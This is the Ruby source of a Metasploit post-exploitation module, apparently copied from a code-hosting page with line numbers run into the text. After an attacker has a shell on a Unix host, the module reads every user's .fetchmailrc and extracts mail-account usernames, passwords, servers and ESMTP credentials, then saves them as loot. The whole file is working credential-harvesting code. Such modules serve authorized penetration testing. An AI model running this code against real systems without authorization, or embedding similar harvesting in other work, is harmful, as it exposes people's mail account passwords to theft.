Path: blob/master/modules/post/multi/gather/fetchmailrc_creds.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'UNIX Gather .fetchmailrc Credentials',14'Description' => %q{15Post Module to obtain credentials saved for IMAP, POP and other mail16retrieval protocols in fetchmail's .fetchmailrc17},18'License' => MSF_LICENSE,19'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],20'Platform' => %w[bsd linux osx unix],21'SessionTypes' => [ 'shell' ],22'Notes' => {23'Stability' => [CRASH_SAFE],24'SideEffects' => [],25'Reliability' => []26}27)28)29end3031def run32# A table to store the found credentials.33cred_table = Rex::Text::Table.new(34'Header' => '.fetchmailrc credentials',35'Indent' => 1,36'Columns' =>37[38'Username',39'Password',40'Server',41'Protocol',42'Port'43]44)4546# walk through each user directory47enum_user_directories.each do |user_dir|48fetchmailrc_file = ::File.join(user_dir, '.fetchmailrc')49unless readable? fetchmailrc_file50vprint_error("Couldn't read #{fetchmailrc_file}")51next52end53print_status("Reading: #{fetchmailrc_file}")54# read their .fetchmailrc if it exists55lines = read_file(fetchmailrc_file).each_line.to_a56next if (lines.size <= 0)5758print_status("Parsing #{fetchmailrc_file}")5960# delete any comments61lines.delete_if { |l| l =~ /^#/ }62# trim any leading/trailing whitespace63lines.map(&:strip!)64# turn any multi-line config options into a single line to ease parsing65(lines.size - 1).downto(0) do |i|66# if the line we are reading doesn't signify a new configuration section...67next if ((lines[i] =~ /^(?:defaults|poll|skip)\s+/))6869# append the current line to the previous70lines[i - 1] << ' '71lines[i - 1] << lines[i]72# and axe the current line73lines.delete_at(i)74end7576# any default options found, used as defaults for poll or skip lines77# that are missing options and want to use defaults78defaults = {}7980# now parse each line found81lines.each do |line|82# if there is a 'default' line, save any of these options as83# they should be used when subsequent poll/skip lines are missing them.84if (line =~ /^defaults/)85defaults = parse_fetchmailrc_line(line).first86next87end8889# now merge the currently parsed line with whatever defaults may have90# been found, then save if there is enough to save91parse_fetchmailrc_line(line).each do |cred|92cred = defaults.merge(cred)93if cred[:host] && cred[:protocol]94if (cred[:users].size == cred[:passwords].size)95cred[:users].each_index do |i|96cred_table << [ cred[:users][i], cred[:passwords][i], cred[:host], cred[:protocol], cred[:port] ]97end98else99print_error("Skipping '#{line}' -- number of users and passwords not equal")100end101end102end103end104end105106if cred_table.rows.empty?107print_status('No creds collected')108else109print_line("\n" + cred_table.to_s)110111# store all found credentials112p = store_loot(113'fetchmailrc.creds',114'text/csv',115session,116cred_table.to_csv,117'fetchmailrc_credentials.txt',118'.fetchmailrc credentials'119)120121print_status("Credentials stored in: #{p}")122end123end124125# Parse a line +line+, assumed to be from a fetchmail configuration file,126# returning an array of all credentials found on that line127def parse_fetchmailrc_line(line)128creds = []129cred = {}130# parse and clean any users131users = line.scan(/\s+user(?:name)?\s+(\S+)/).flatten132unless users.empty?133cred[:users] = []134users.each do |user|135cred[:users] << user.gsub(/^"/, '').gsub(/"$/, '')136end137end138# parse and clean any passwords139passwords = line.scan(/\s+pass(?:word)?\s+(\S+)/).flatten140unless passwords.empty?141cred[:passwords] = []142passwords.each do |password|143cred[:passwords] << password.gsub(/^"/, '').gsub(/"$/, '')144end145end146# parse any hosts, ports and protocols147cred[:protocol] = ::Regexp.last_match(1) if (line =~ /\s+proto(?:col)?\s+(\S+)/)148cred[:port] = ::Regexp.last_match(1) if (line =~ /\s+(?:port|service)\s+(\S+)/)149cred[:host] = ::Regexp.last_match(1) if (line =~ /^(?:poll|skip)\s+(\S+)/)150# a 'via' option overrides poll/skip151cred[:host] = ::Regexp.last_match(1) if (line =~ /\s+via\s+(\S+)/)152# save this credential153creds << cred154# fetchmail can also "forward" mail by pulling it down with POP/IMAP and then155# connecting to some SMTP server and sending it. If ESMTP AUTH (RFC 2554) credentials156# are specified, steal those too.157cred = {}158cred[:users] = [ ::Regexp.last_match(1) ] if (line =~ /\s+esmtpname\s+(\S+)/)159cred[:passwords] = [ ::Regexp.last_match(1) ] if (line =~ /\s+esmtppassword\s+(\S+)/)160# XXX: what is the best way to get the host we are currently looting? localhost is lame.161cred[:host] = (line =~ /\s+smtphost\s+(\S+)/ ? ::Regexp.last_match(1) : 'localhost')162cred[:protocol] = 'esmtp'163# save the ESMTP credentials if we've found enough164creds << cred if cred[:users] && cred[:passwords] && cred[:host]165# return all found credentials166creds167end168end169170171